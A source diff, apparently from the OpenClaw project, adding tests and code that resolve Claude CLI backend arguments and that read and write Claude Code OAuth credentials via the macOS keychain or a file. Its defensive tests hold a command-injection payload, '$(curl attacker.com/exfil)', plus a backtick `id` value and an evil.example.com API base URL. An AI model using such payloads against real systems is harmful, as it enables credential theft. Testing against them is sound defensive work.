expect(resolved?.config.resumeArgs).not.toContain("--dangerously-skip-permissions");
|
||||
expect(resolved?.config.resumeArgs).toContain("--permission-mode");
|
||||
expect(resolved?.config.resumeArgs).toContain("bypassPermissions");
|
||||
});
|
||||
|
||||
it("keeps explicit permission-mode overrides while removing legacy skip flag", () => {
|
||||
const cfg = {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"claude-cli": {
|
||||
command: "claude",
|
||||
args: ["-p", "--dangerously-skip-permissions", "--permission-mode", "acceptEdits"],
|
||||
resumeArgs: [
|
||||
"-p",
|
||||
"--dangerously-skip-permissions",
|
||||
"--permission-mode=acceptEdits",
|
||||
"--resume",
|
||||
"{sessionId}",
|
||||
],
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig;
|
||||
|
||||
const resolved = resolveCliBackendConfig("claude-cli", cfg);
|
||||
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved?.config.args).not.toContain("--dangerously-skip-permissions");
|
||||
expect(resolved?.config.args).toEqual([
|
||||
"-p",
|
||||
"--permission-mode",
|
||||
"acceptEdits",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
]);
|
||||
expect(resolved?.config.resumeArgs).not.toContain("--dangerously-skip-permissions");
|
||||
expect(resolved?.config.resumeArgs).toEqual([
|
||||
"-p",
|
||||
"--permission-mode=acceptEdits",
|
||||
"--resume",
|
||||
"{sessionId}",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
]);
|
||||
expect(resolved?.config.args).not.toContain("bypassPermissions");
|
||||
expect(resolved?.config.resumeArgs).not.toContain("bypassPermissions");
|
||||
});
|
||||
|
||||
it("forces project or local setting-source overrides back to user-only", () => {
|
||||
const cfg = {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"claude-cli": {
|
||||
command: "claude",
|
||||
args: ["-p", "--setting-sources", "project", "--permission-mode", "acceptEdits"],
|
||||
resumeArgs: [
|
||||
"-p",
|
||||
"--setting-sources=local,user",
|
||||
"--resume",
|
||||
"{sessionId}",
|
||||
"--permission-mode=acceptEdits",
|
||||
],
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig;
|
||||
|
||||
const resolved = resolveCliBackendConfig("claude-cli", cfg);
|
||||
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved?.config.args).toEqual([
|
||||
"-p",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"acceptEdits",
|
||||
]);
|
||||
expect(resolved?.config.resumeArgs).toEqual([
|
||||
"-p",
|
||||
"--setting-sources=user",
|
||||
"--resume",
|
||||
"{sessionId}",
|
||||
"--permission-mode=acceptEdits",
|
||||
]);
|
||||
});
|
||||
|
||||
it("falls back to user-only setting sources when a custom override leaves the flag without a value", () => {
|
||||
const cfg = {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"claude-cli": {
|
||||
command: "claude",
|
||||
args: ["-p", "--setting-sources", "--output-format", "stream-json"],
|
||||
resumeArgs: ["-p", "--setting-sources", "--resume", "{sessionId}"],
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig;
|
||||
|
||||
const resolved = resolveCliBackendConfig("claude-cli", cfg);
|
||||
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved?.config.args).toEqual([
|
||||
"-p",
|
||||
"--output-format",
|
||||
"stream-json",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
]);
|
||||
expect(resolved?.config.resumeArgs).toEqual([
|
||||
"-p",
|
||||
"--resume",
|
||||
"{sessionId}",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
]);
|
||||
});
|
||||
|
||||
it("falls back to bypassPermissions when a custom override leaves permission-mode without a value", () => {
|
||||
const cfg = {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"claude-cli": {
|
||||
command: "claude",
|
||||
args: ["-p", "--permission-mode", "--output-format", "stream-json"],
|
||||
resumeArgs: ["-p", "--permission-mode", "--resume", "{sessionId}"],
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig;
|
||||
|
||||
const resolved = resolveCliBackendConfig("claude-cli", cfg);
|
||||
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved?.config.args).toEqual([
|
||||
"-p",
|
||||
"--output-format",
|
||||
"stream-json",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
]);
|
||||
expect(resolved?.config.resumeArgs).toEqual([
|
||||
"-p",
|
||||
"--resume",
|
||||
"{sessionId}",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
]);
|
||||
});
|
||||
|
||||
it("injects bypassPermissions when custom args omit any permission flag", () => {
|
||||
const cfg = {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"claude-cli": {
|
||||
command: "claude",
|
||||
args: ["-p", "--output-format", "stream-json", "--verbose"],
|
||||
resumeArgs: [
|
||||
"-p",
|
||||
"--output-format",
|
||||
"stream-json",
|
||||
"--verbose",
|
||||
"--resume",
|
||||
"{sessionId}",
|
||||
],
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig;
|
||||
|
||||
const resolved = resolveCliBackendConfig("claude-cli", cfg);
|
||||
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved?.config.args).toContain("--setting-sources");
|
||||
expect(resolved?.config.args).toContain("user");
|
||||
expect(resolved?.config.args).toContain("--permission-mode");
|
||||
expect(resolved?.config.args).toContain("bypassPermissions");
|
||||
expect(resolved?.config.resumeArgs).toContain("--setting-sources");
|
||||
expect(resolved?.config.resumeArgs).toContain("user");
|
||||
expect(resolved?.config.resumeArgs).toContain("--permission-mode");
|
||||
expect(resolved?.config.resumeArgs).toContain("bypassPermissions");
|
||||
});
|
||||
|
||||
it("keeps hardened clearEnv defaults when custom claude env overrides are merged", () => {
|
||||
const cfg = {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"claude-cli": {
|
||||
command: "claude",
|
||||
env: {
|
||||
SAFE_CUSTOM: "ok",
|
||||
ANTHROPIC_BASE_URL: "https://evil.example.com/v1",
|
||||
},
|
||||
clearEnv: ["EXTRA_CLEAR"],
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig;
|
||||
|
||||
const resolved = resolveCliBackendConfig("claude-cli", cfg);
|
||||
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved?.config.env).toEqual({
|
||||
CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST: "1",
|
||||
SAFE_CUSTOM: "ok",
|
||||
ANTHROPIC_BASE_URL: "https://evil.example.com/v1",
|
||||
});
|
||||
expect(resolved?.config.clearEnv).toContain("ANTHROPIC_BASE_URL");
|
||||
expect(resolved?.config.clearEnv).toContain("CLAUDE_CONFIG_DIR");
|
||||
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_OAUTH_TOKEN");
|
||||
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_PLUGIN_CACHE_DIR");
|
||||
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_PLUGIN_SEED_DIR");
|
||||
expect(resolved?.config.clearEnv).toContain("EXTRA_CLEAR");
|
||||
});
|
||||
|
||||
it("normalizes override-only claude-cli config when the plugin registry is absent", () => {
|
||||
const registry = createEmptyPluginRegistry();
|
||||
setActivePluginRegistry(registry);
|
||||
|
||||
const cfg = {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"claude-cli": {
|
||||
command: "/usr/local/bin/claude",
|
||||
args: ["-p", "--output-format", "json"],
|
||||
resumeArgs: ["-p", "--output-format", "json", "--resume", "{sessionId}"],
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig;
|
||||
|
||||
const resolved = resolveCliBackendConfig("claude-cli", cfg);
|
||||
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved?.bundleMcp).toBe(true);
|
||||
expect(resolved?.config.args).toEqual([
|
||||
"-p",
|
||||
"--output-format",
|
||||
"json",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
]);
|
||||
expect(resolved?.config.resumeArgs).toEqual([
|
||||
"-p",
|
||||
"--output-format",
|
||||
"json",
|
||||
"--resume",
|
||||
"{sessionId}",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
]);
|
||||
expect(resolved?.config.systemPromptArg).toBe("--append-system-prompt");
|
||||
expect(resolved?.config.systemPromptWhen).toBe("first");
|
||||
expect(resolved?.config.sessionArg).toBe("--session-id");
|
||||
expect(resolved?.config.sessionMode).toBe("always");
|
||||
expect(resolved?.config.input).toBe("stdin");
|
||||
expect(resolved?.config.output).toBe("jsonl");
|
||||
});
|
||||
});
|
||||
|
||||
describe("resolveCliBackendConfig google-gemini-cli defaults", () => {
|
||||
it("uses Gemini CLI json args and existing-session resume mode", () => {
|
||||
const resolved = resolveCliBackendConfig("google-gemini-cli");
|
||||
|
||||
@@ -11,6 +11,11 @@ export type ResolvedCliBackend = {
|
||||
pluginId?: string;
|
||||
};
|
||||
|
||||
export function normalizeClaudeBackendConfig(config: CliBackendConfig): CliBackendConfig {
|
||||
const normalizeConfig = resolveFallbackCliBackendPolicy("claude-cli")?.normalizeConfig;
|
||||
return normalizeConfig ? normalizeConfig(config) : config;
|
||||
}
|
||||
|
||||
type FallbackCliBackendPolicy = {
|
||||
bundleMcp: boolean;
|
||||
baseConfig?: CliBackendConfig;
|
||||
|
||||
@@ -6,12 +6,31 @@ import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vite
|
||||
const execSyncMock = vi.fn();
|
||||
const execFileSyncMock = vi.fn();
|
||||
const CLI_CREDENTIALS_CACHE_TTL_MS = 15 * 60 * 1000;
|
||||
let readClaudeCliCredentialsCached: typeof import("./cli-credentials.js").readClaudeCliCredentialsCached;
|
||||
let readCodexCliCredentialsCached: typeof import("./cli-credentials.js").readCodexCliCredentialsCached;
|
||||
let resetCliCredentialCachesForTest: typeof import("./cli-credentials.js").resetCliCredentialCachesForTest;
|
||||
let writeClaudeCliKeychainCredentials: typeof import("./cli-credentials.js").writeClaudeCliKeychainCredentials;
|
||||
let writeClaudeCliCredentials: typeof import("./cli-credentials.js").writeClaudeCliCredentials;
|
||||
let readCodexCliCredentials: typeof import("./cli-credentials.js").readCodexCliCredentials;
|
||||
let writeCodexCliCredentials: typeof import("./cli-credentials.js").writeCodexCliCredentials;
|
||||
let writeCodexCliFileCredentials: typeof import("./cli-credentials.js").writeCodexCliFileCredentials;
|
||||
|
||||
function mockExistingClaudeKeychainItem() {
|
||||
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
|
||||
const argv = Array.isArray(args) ? args.map(String) : [];
|
||||
if (String(file) === "security" && argv.includes("find-generic-password")) {
|
||||
return JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: "old-access",
|
||||
refreshToken: "old-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
});
|
||||
}
|
||||
return "";
|
||||
});
|
||||
}
|
||||
|
||||
function getAddGenericPasswordCall() {
|
||||
return execFileSyncMock.mock.calls.find(
|
||||
([binary, args]) =>
|
||||
@@ -21,17 +40,41 @@ function getAddGenericPasswordCall() {
|
||||
);
|
||||
}
|
||||
|
||||
async function readCachedClaudeCliCredentials(allowKeychainPrompt: boolean) {
|
||||
return readClaudeCliCredentialsCached({
|
||||
allowKeychainPrompt,
|
||||
ttlMs: CLI_CREDENTIALS_CACHE_TTL_MS,
|
||||
platform: "darwin",
|
||||
execSync: execSyncMock,
|
||||
});
|
||||
}
|
||||
|
||||
function createJwtWithExp(expSeconds: number): string {
|
||||
const encode = (value: Record<string, unknown>) =>
|
||||
Buffer.from(JSON.stringify(value)).toString("base64url");
|
||||
return `${encode({ alg: "RS256", typ: "JWT" })}.${encode({ exp: expSeconds })}.signature`;
|
||||
}
|
||||
|
||||
function mockClaudeCliCredentialRead() {
|
||||
execSyncMock.mockImplementation(() =>
|
||||
JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: `token-${Date.now()}`,
|
||||
refreshToken: "cached-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
describe("cli credentials", () => {
|
||||
beforeAll(async () => {
|
||||
({
|
||||
readClaudeCliCredentialsCached,
|
||||
readCodexCliCredentialsCached,
|
||||
resetCliCredentialCachesForTest,
|
||||
writeClaudeCliKeychainCredentials,
|
||||
writeClaudeCliCredentials,
|
||||
readCodexCliCredentials,
|
||||
writeCodexCliCredentials,
|
||||
writeCodexCliFileCredentials,
|
||||
@@ -50,6 +93,155 @@ describe("cli credentials", () => {
|
||||
resetCliCredentialCachesForTest();
|
||||
});
|
||||
|
||||
it("updates the Claude Code keychain item in place", async () => {
|
||||
mockExistingClaudeKeychainItem();
|
||||
|
||||
const ok = writeClaudeCliKeychainCredentials(
|
||||
{
|
||||
access: "new-access",
|
||||
refresh: "new-refresh",
|
||||
expires: Date.now() + 60_000,
|
||||
},
|
||||
{ execFileSync: execFileSyncMock },
|
||||
);
|
||||
|
||||
expect(ok).toBe(true);
|
||||
|
||||
// Verify execFileSync was called with array args (no shell interpretation)
|
||||
expect(execFileSyncMock).toHaveBeenCalledTimes(2);
|
||||
const addCall = getAddGenericPasswordCall();
|
||||
expect(addCall?.[0]).toBe("security");
|
||||
expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U");
|
||||
});
|
||||
|
||||
it.each([
|
||||
{
|
||||
access: "x'$(curl attacker.com/exfil)'y",
|
||||
refresh: "safe-refresh",
|
||||
expectedPayload: "x'$(curl attacker.com/exfil)'y",
|
||||
},
|
||||
{
|
||||
access: "safe-access",
|
||||
refresh: "token`id`value",
|
||||
expectedPayload: "token`id`value",
|
||||
},
|
||||
] as const)(
|
||||
"prevents shell injection via untrusted token payload value $expectedPayload",
|
||||
async ({ access, refresh, expectedPayload }) => {
|
||||
execFileSyncMock.mockClear();
|
||||
mockExistingClaudeKeychainItem();
|
||||
|
||||
const ok = writeClaudeCliKeychainCredentials(
|
||||
{
|
||||
access,
|
||||
refresh,
|
||||
expires: Date.now() + 60_000,
|
||||
},
|
||||
{ execFileSync: execFileSyncMock },
|
||||
);
|
||||
|
||||
expect(ok).toBe(true);
|
||||
|
||||
// Token payloads must remain literal in argv, never shell-interpreted.
|
||||
const addCall = getAddGenericPasswordCall();
|
||||
const args = (addCall?.[1] as string[] | undefined) ?? [];
|
||||
const wIndex = args.indexOf("-w");
|
||||
const passwordValue = args[wIndex + 1];
|
||||
expect(passwordValue).toContain(expectedPayload);
|
||||
expect(addCall?.[0]).toBe("security");
|
||||
},
|
||||
);
|
||||
|
||||
it("falls back to the file store when the keychain update fails", async () => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-"));
|
||||
const credPath = path.join(tempDir, ".claude", ".credentials.json");
|
||||
|
||||
fs.mkdirSync(path.dirname(credPath), { recursive: true, mode: 0o700 });
|
||||
fs.writeFileSync(
|
||||
credPath,
|
||||
`${JSON.stringify(
|
||||
{
|
||||
claudeAiOauth: {
|
||||
accessToken: "old-access",
|
||||
refreshToken: "old-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
},
|
||||
null,
|
||||
2,
|
||||
)}\n`,
|
||||
"utf8",
|
||||
);
|
||||
|
||||
const writeKeychain = vi.fn(() => false);
|
||||
|
||||
const ok = writeClaudeCliCredentials(
|
||||
{
|
||||
access: "new-access",
|
||||
refresh: "new-refresh",
|
||||
expires: Date.now() + 120_000,
|
||||
},
|
||||
{
|
||||
platform: "darwin",
|
||||
homeDir: tempDir,
|
||||
writeKeychain,
|
||||
},
|
||||
);
|
||||
|
||||
expect(ok).toBe(true);
|
||||
expect(writeKeychain).toHaveBeenCalledTimes(1);
|
||||
|
||||
const updated = JSON.parse(fs.readFileSync(credPath, "utf8")) as {
|
||||
claudeAiOauth?: {
|
||||
accessToken?: string;
|
||||
refreshToken?: string;
|
||||
expiresAt?: number;
|
||||
};
|
||||
};
|
||||
|
||||
expect(updated.claudeAiOauth?.accessToken).toBe("new-access");
|
||||
expect(updated.claudeAiOauth?.refreshToken).toBe("new-refresh");
|
||||
expect(updated.claudeAiOauth?.expiresAt).toBeTypeOf("number");
|
||||
});
|
||||
|
||||
it.each([
|
||||
{
|
||||
name: "caches Claude Code CLI credentials within the TTL window",
|
||||
allowKeychainPromptSecondRead: false,
|
||||
advanceMs: 0,
|
||||
expectedCalls: 1,
|
||||
expectSameObject: true,
|
||||
},
|
||||
{
|
||||
name: "refreshes Claude Code CLI credentials after the TTL window",
|
||||
allowKeychainPromptSecondRead: true,
|
||||
advanceMs: CLI_CREDENTIALS_CACHE_TTL_MS + 1,
|
||||
expectedCalls: 2,
|
||||
expectSameObject: false,
|
||||
},
|
||||
] as const)(
|
||||
"$name",
|
||||
async ({ allowKeychainPromptSecondRead, advanceMs, expectedCalls, expectSameObject }) => {
|
||||
mockClaudeCliCredentialRead();
|
||||
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
|
||||
|
||||
const first = await readCachedClaudeCliCredentials(true);
|
||||
if (advanceMs > 0) {
|
||||
vi.advanceTimersByTime(advanceMs);
|
||||
}
|
||||
const second = await readCachedClaudeCliCredentials(allowKeychainPromptSecondRead);
|
||||
|
||||
expect(first).toBeTruthy();
|
||||
expect(second).toBeTruthy();
|
||||
if (expectSameObject) {
|
||||
expect(second).toEqual(first);
|
||||
} else {
|
||||
expect(second).not.toEqual(first);
|
||||
}
|
||||
expect(execSyncMock).toHaveBeenCalledTimes(expectedCalls);
|
||||
},
|
||||
);
|
||||
|
||||
it("reads Codex credentials from keychain when available", async () => {
|
||||
const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-"));
|
||||
process.env.CODEX_HOME = tempHome;
|
||||
|
||||
@@ -9,9 +9,13 @@ import type { OAuthCredentials, OAuthProvider } from "./auth-profiles/types.js";
|
||||
|
||||
const log = createSubsystemLogger("agents/auth-profiles");
|
||||
|
||||
const CLAUDE_CLI_CREDENTIALS_RELATIVE_PATH = ".claude/.credentials.json";
|
||||
const CODEX_CLI_AUTH_FILENAME = "auth.json";
|
||||
const MINIMAX_CLI_CREDENTIALS_RELATIVE_PATH = ".minimax/oauth_creds.json";
|
||||
|
||||
const CLAUDE_CLI_KEYCHAIN_SERVICE = "Claude Code-credentials";
|
||||
const CLAUDE_CLI_KEYCHAIN_ACCOUNT = "Claude Code";
|
||||
|
||||
type CachedValue<T> = {
|
||||
value: T | null;
|
||||
readAt: number;
|
||||
@@ -19,14 +23,31 @@ type CachedValue<T> = {
|
||||
sourceFingerprint?: number | string | null;
|
||||
};
|
||||
|
||||
let claudeCliCache: CachedValue<ClaudeCliCredential> | null = null;
|
||||
let codexCliCache: CachedValue<CodexCliCredential> | null = null;
|
||||
let minimaxCliCache: CachedValue<MiniMaxCliCredential> | null = null;
|
||||
|
||||
export function resetCliCredentialCachesForTest(): void {
|
||||
claudeCliCache = null;
|
||||
codexCliCache = null;
|
||||
minimaxCliCache = null;
|
||||
}
|
||||
|
||||
export type ClaudeCliCredential =
|
||||
| {
|
||||
type: "oauth";
|
||||
provider: "anthropic";
|
||||
access: string;
|
||||
refresh: string;
|
||||
expires: number;
|
||||
}
|
||||
| {
|
||||
type: "token";
|
||||
provider: "anthropic";
|
||||
token: string;
|
||||
expires: number;
|
||||
};
|
||||
|
||||
export type CodexCliCredential = {
|
||||
type: "oauth";
|
||||
provider: OAuthProvider;
|
||||
@@ -44,6 +65,16 @@ export type MiniMaxCliCredential = {
|
||||
expires: number;
|
||||
};
|
||||
|
||||
type ClaudeCliFileOptions = {
|
||||
homeDir?: string;
|
||||
};
|
||||
|
||||
type ClaudeCliWriteOptions = ClaudeCliFileOptions & {
|
||||
platform?: NodeJS.Platform;
|
||||
writeKeychain?: (credentials: OAuthCredentials) => boolean;
|
||||
writeFile?: (credentials: OAuthCredentials, options?: ClaudeCliFileOptions) => boolean;
|
||||
};
|
||||
|
||||
type CodexCliFileOptions = {
|
||||
codexHome?: string;
|
||||
};
|
||||
@@ -67,6 +98,42 @@ type CodexCliWriteOptions = CodexCliFileOptions & {
|
||||
type ExecSyncFn = typeof execSync;
|
||||
type ExecFileSyncFn = typeof execFileSync;
|
||||
|
||||
function resolveClaudeCliCredentialsPath(homeDir?: string) {
|
||||
const baseDir = homeDir ?? resolveUserPath("~");
|
||||
return path.join(baseDir, CLAUDE_CLI_CREDENTIALS_RELATIVE_PATH);
|
||||
}
|
||||
|
||||
function parseClaudeCliOauthCredential(claudeOauth: unknown): ClaudeCliCredential | null {
|
||||
if (!claudeOauth || typeof claudeOauth !== "object") {
|
||||
return null;
|
||||
}
|
||||
const accessToken = (claudeOauth as Record<string, unknown>).accessToken;
|
||||
const refreshToken = (claudeOauth as Record<string, unknown>).refreshToken;
|
||||
const expiresAt = (claudeOauth as Record<string, unknown>).expiresAt;
|
||||
|
||||
if (typeof accessToken !== "string" || !accessToken) {
|
||||
return null;
|
||||
}
|
||||
if (typeof expiresAt !== "number" || !Number.isFinite(expiresAt) || expiresAt <= 0) {
|
||||
return null;
|
||||
}
|
||||
if (typeof refreshToken === "string" && refreshToken) {
|
||||
return {
|
||||
type: "oauth",
|
||||
provider: "anthropic",
|
||||
access: accessToken,
|
||||
refresh: refreshToken,
|
||||
expires: expiresAt,
|
||||
};
|
||||
}
|
||||
return {
|
||||
type: "token",
|
||||
provider: "anthropic",
|
||||
token: accessToken,
|
||||
expires: expiresAt,
|
||||
};
|
||||
}
|
||||
|
||||
function resolveCodexHomePath(codexHome?: string) {
|
||||
const configured = codexHome ?? process.env.CODEX_HOME;
|
||||
const home = configured ? resolveUserPath(configured) : resolveUserPath("~/.codex");
|
||||
@@ -277,6 +344,191 @@ function readMiniMaxCliCredentials(options?: { homeDir?: string }): MiniMaxCliCr
|
||||
return readPortalCliOauthCredentials(credPath, "minimax-portal");
|
||||
}
|
||||
|
||||
function readClaudeCliKeychainCredentials(
|
||||
execSyncImpl: ExecSyncFn = execSync,
|
||||
): ClaudeCliCredential | null {
|
||||
try {
|
||||
const result = execSyncImpl(
|
||||
`security find-generic-password -s "${CLAUDE_CLI_KEYCHAIN_SERVICE}" -w`,
|
||||
{ encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] },
|
||||
);
|
||||
|
||||
const data = JSON.parse(result.trim());
|
||||
return parseClaudeCliOauthCredential(data?.claudeAiOauth);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
export function readClaudeCliCredentials(options?: {
|
||||
allowKeychainPrompt?: boolean;
|
||||
platform?: NodeJS.Platform;
|
||||
homeDir?: string;
|
||||
execSync?: ExecSyncFn;
|
||||
}): ClaudeCliCredential | null {
|
||||
const platform = options?.platform ?? process.platform;
|
||||
if (platform === "darwin" && options?.allowKeychainPrompt !== false) {
|
||||
const keychainCreds = readClaudeCliKeychainCredentials(options?.execSync);
|
||||
if (keychainCreds) {
|
||||
log.info("read anthropic credentials from claude cli keychain", {
|
||||
type: keychainCreds.type,
|
||||
});
|
||||
return keychainCreds;
|
||||
}
|
||||
}
|
||||
|
||||
const credPath = resolveClaudeCliCredentialsPath(options?.homeDir);
|
||||
const raw = loadJsonFile(credPath);
|
||||
if (!raw || typeof raw !== "object") {
|
||||
return null;
|
||||
}
|
||||
|
||||
const data = raw as Record<string, unknown>;
|
||||
return parseClaudeCliOauthCredential(data.claudeAiOauth);
|
||||
}
|
||||
|
||||
export function readClaudeCliCredentialsCached(options?: {
|
||||
allowKeychainPrompt?: boolean;
|
||||
ttlMs?: number;
|
||||
platform?: NodeJS.Platform;
|
||||
homeDir?: string;
|
||||
execSync?: ExecSyncFn;
|
||||
}): ClaudeCliCredential | null {
|
||||
return readCachedCliCredential({
|
||||
ttlMs: options?.ttlMs ?? 0,
|
||||
cache: claudeCliCache,
|
||||
cacheKey: resolveClaudeCliCredentialsPath(options?.homeDir),
|
||||
read: () =>
|
||||
readClaudeCliCredentials({
|
||||
allowKeychainPrompt: options?.allowKeychainPrompt,
|
||||
platform: options?.platform,
|
||||
homeDir: options?.homeDir,
|
||||
execSync: options?.execSync,
|
||||
}),
|
||||
setCache: (next) => {
|
||||
claudeCliCache = next;
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
export function writeClaudeCliKeychainCredentials(
|
||||
newCredentials: OAuthCredentials,
|
||||
options?: { execFileSync?: ExecFileSyncFn },
|
||||
): boolean {
|
||||
const execFileSyncImpl = options?.execFileSync ?? execFileSync;
|
||||
try {
|
||||
const existingResult = execFileSyncImpl(
|
||||
"security",
|
||||
["find-generic-password", "-s", CLAUDE_CLI_KEYCHAIN_SERVICE, "-w"],
|
||||
{ encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] },
|
||||
);
|
||||
|
||||
const existingData = JSON.parse(existingResult.trim());
|
||||
const existingOauth = existingData?.claudeAiOauth;
|
||||
if (!existingOauth || typeof existingOauth !== "object") {
|
||||
return false;
|
||||
}
|
||||
|
||||
existingData.claudeAiOauth = {
|
||||
...existingOauth,
|
||||
accessToken: newCredentials.access,
|
||||
refreshToken: newCredentials.refresh,
|
||||
expiresAt: newCredentials.expires,
|
||||
};
|
||||
|
||||
const newValue = JSON.stringify(existingData);
|
||||
|
||||
// Use execFileSync to avoid shell interpretation of user-controlled token values.
|
||||
// This prevents command injection via $() or backtick expansion in OAuth tokens.
|
||||
execFileSyncImpl(
|
||||
"security",
|
||||
[
|
||||
"add-generic-password",
|
||||
"-U",
|
||||
"-s",
|
||||
CLAUDE_CLI_KEYCHAIN_SERVICE,
|
||||
"-a",
|
||||
CLAUDE_CLI_KEYCHAIN_ACCOUNT,
|
||||
"-w",
|
||||
newValue,
|
||||
],
|
||||
{ encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] },
|
||||
);
|
||||
|
||||
log.info("wrote refreshed credentials to claude cli keychain", {
|
||||
expires: new Date(newCredentials.expires).toISOString(),
|
||||
});
|
||||
return true;
|
||||
} catch (error) {
|
||||
log.warn("failed to write credentials to claude cli keychain", {
|
||||
error: error instanceof Error ? error.message : String(error),
|
||||
});
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function writeClaudeCliFileCredentials(
|
||||
newCredentials: OAuthCredentials,
|
||||
options?: ClaudeCliFileOptions,
|
||||
): boolean {
|
||||
const credPath = resolveClaudeCliCredentialsPath(options?.homeDir);
|
||||
|
||||
if (!fs.existsSync(credPath)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
const raw = loadJsonFile(credPath);
|
||||
if (!raw || typeof raw !== "object") {
|
||||
return false;
|
||||
}
|
||||
|
||||
const data = raw as Record<string, unknown>;
|
||||
const existingOauth = data.claudeAiOauth as Record<string, unknown> | undefined;
|
||||
if (!existingOauth || typeof existingOauth !== "object") {
|
||||
return false;
|
||||
}
|
||||
|
||||
data.claudeAiOauth = {
|
||||
...existingOauth,
|
||||
accessToken: newCredentials.access,
|
||||
refreshToken: newCredentials.refresh,
|
||||
expiresAt: newCredentials.expires,
|
||||
};
|
||||
|
||||
saveJsonFile(credPath, data);
|
||||
log.info("wrote refreshed credentials to claude cli file", {
|
||||
expires: new Date(newCredentials.expires).toISOString(),
|
||||
});
|
||||
return true;
|
||||
} catch (error) {
|
||||
log.warn("failed to write credentials to claude cli file", {
|
||||
error: error instanceof Error ? error.message : String(error),
|
||||
});
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function writeClaudeCliCredentials(
|
||||
newCredentials: OAuthCredentials,
|
||||
options?: ClaudeCliWriteOptions,
|
||||
): boolean {
|
||||
const platform = options?.platform ?? process.platform;
|
||||
const writeKeychain = options?.writeKeychain ?? writeClaudeCliKeychainCredentials;
|
||||
const writeFile =
|
||||
options?.writeFile ??
|
||||
((credentials, fileOptions) => writeClaudeCliFileCredentials(credentials, fileOptions));
|
||||
|
||||
if (platform === "darwin") {
|
||||
const didWriteKeychain = writeKeychain(newCredentials);
|
||||
if (didWriteKeychain) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return writeFile(newCredentials, { homeDir: options?.homeDir });
|
||||
}
|
||||
|
||||
function buildUpdatedCodexAuthRecord(
|
||||
existing: Record<string, unknown> | null,
|
||||
newCredentials: OAuthCredentials,
|
||||
|
||||
@@ -121,7 +121,7 @@ describe("parseCliJson", () => {
|
||||
});
|
||||
|
||||
describe("parseCliJsonl", () => {
|
||||
it("parses generic jsonl result events", () => {
|
||||
it("parses Claude stream-json result events", () => {
|
||||
const result = parseCliJsonl(
|
||||
[
|
||||
JSON.stringify({ type: "init", session_id: "session-123" }),
|
||||
@@ -137,11 +137,11 @@ describe("parseCliJsonl", () => {
|
||||
}),
|
||||
].join("\n"),
|
||||
{
|
||||
command: "codex",
|
||||
command: "claude",
|
||||
output: "jsonl",
|
||||
sessionIdFields: ["session_id"],
|
||||
},
|
||||
"codex-cli",
|
||||
"claude-cli",
|
||||
);
|
||||
|
||||
expect(result).toEqual({
|
||||
@@ -157,7 +157,7 @@ describe("parseCliJsonl", () => {
|
||||
